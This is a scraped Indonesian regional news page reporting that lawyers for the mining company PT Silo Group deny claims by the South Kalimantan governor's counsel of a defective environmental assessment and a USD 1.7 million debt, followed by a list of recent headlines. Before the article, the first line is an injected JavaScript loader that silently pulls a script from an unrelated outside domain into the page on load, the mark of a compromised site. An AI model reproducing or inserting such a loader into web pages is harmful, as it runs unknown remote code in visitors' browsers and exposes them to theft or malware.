(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Kuasa Hukum Silo Group Bantah Punya Hutang USD 1,7 Juta


BANJARMASIN, Andi Asrun, pengacara Gubernur Kalsel di sidang PTUN Banjarmasin, beberapa hari lalu, sempat menuding Amdal PT Silo Group mengalami kecacatan data. Sehingga tidak bisa diambil sebagai patokan untuk menjadi sebuah landasan agar izin usaha tambang dari Silo Group layak dipergunakan.

Hal tersebut dibantah Tim Kuasa Hukum Silo Group, Yusuf Pramono mengatakan bahwa Amdal yang dimilikinya valid dan layak  untuk digunakan. Pihaknya pun menggunakan konsultan yang memang terpercaya untuk dijadikan landasan berkegiatan tambang. Memang pada pembuatan Amdal pertama acak-acakan karena pada saat itu dikejar waktu, lalu ada komplain dari beberapa LSM.

Mereka selama 2 tahun mengejar pembaikan Amdal tersebut menggunakan konsultan yang memang berkompeten dan komisi amdal yang terpercaya. Permasalahan amdalpun dari pihak Silo Group sudah clear.

“Kami kejar selama 2 tahun untuk perbaikan Amdal dan sudah rampung saat ini,” ungkap Yusuf Pramono.

Tim kuasa hukum Silo Group menambahkan, pihak Pemprov terlalu memutar balikan waktu sehingga apa yang ada di tahun sebelumnya diungkit-ungkit, padahal masalah tersebut sudah beres jauh sebelum mereka mempersoalkan hal tersebut.  “Mereka memutar waktu, yang pada sekarang ini terbukti beres,” ujar Yusuf.

Andi Asrun juga sempat menyebutkan bahwa pihak Silo Group memiliki hutang sebanyak USD 1,7 juta kepada pemerintah karena kewajiban yang tidak dipenuhi. Hal ini menjadi sebuah acuan bagi Pemprov Kalsel untuk mendukung SK Pencabutan IUP dari Silo tersebut.

Hal ini pun langsung dibantah keras oleh tim kuasa hukum Silo Group, bahwa hal ini tidak benar. “Tidak ada sepeserpun hutang yang dimiliki oleh pihak PT Silo Group, pada sidang mendatang akan membawa bukti yang otentik bahwa yang menjadi kevalidan dari apa yang dituduh oleh kuasa hukum Pemprov. Kami akan bawa bukti itu di persidangan,” pungkasnya. (ammar)

Reporter:Ammar
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.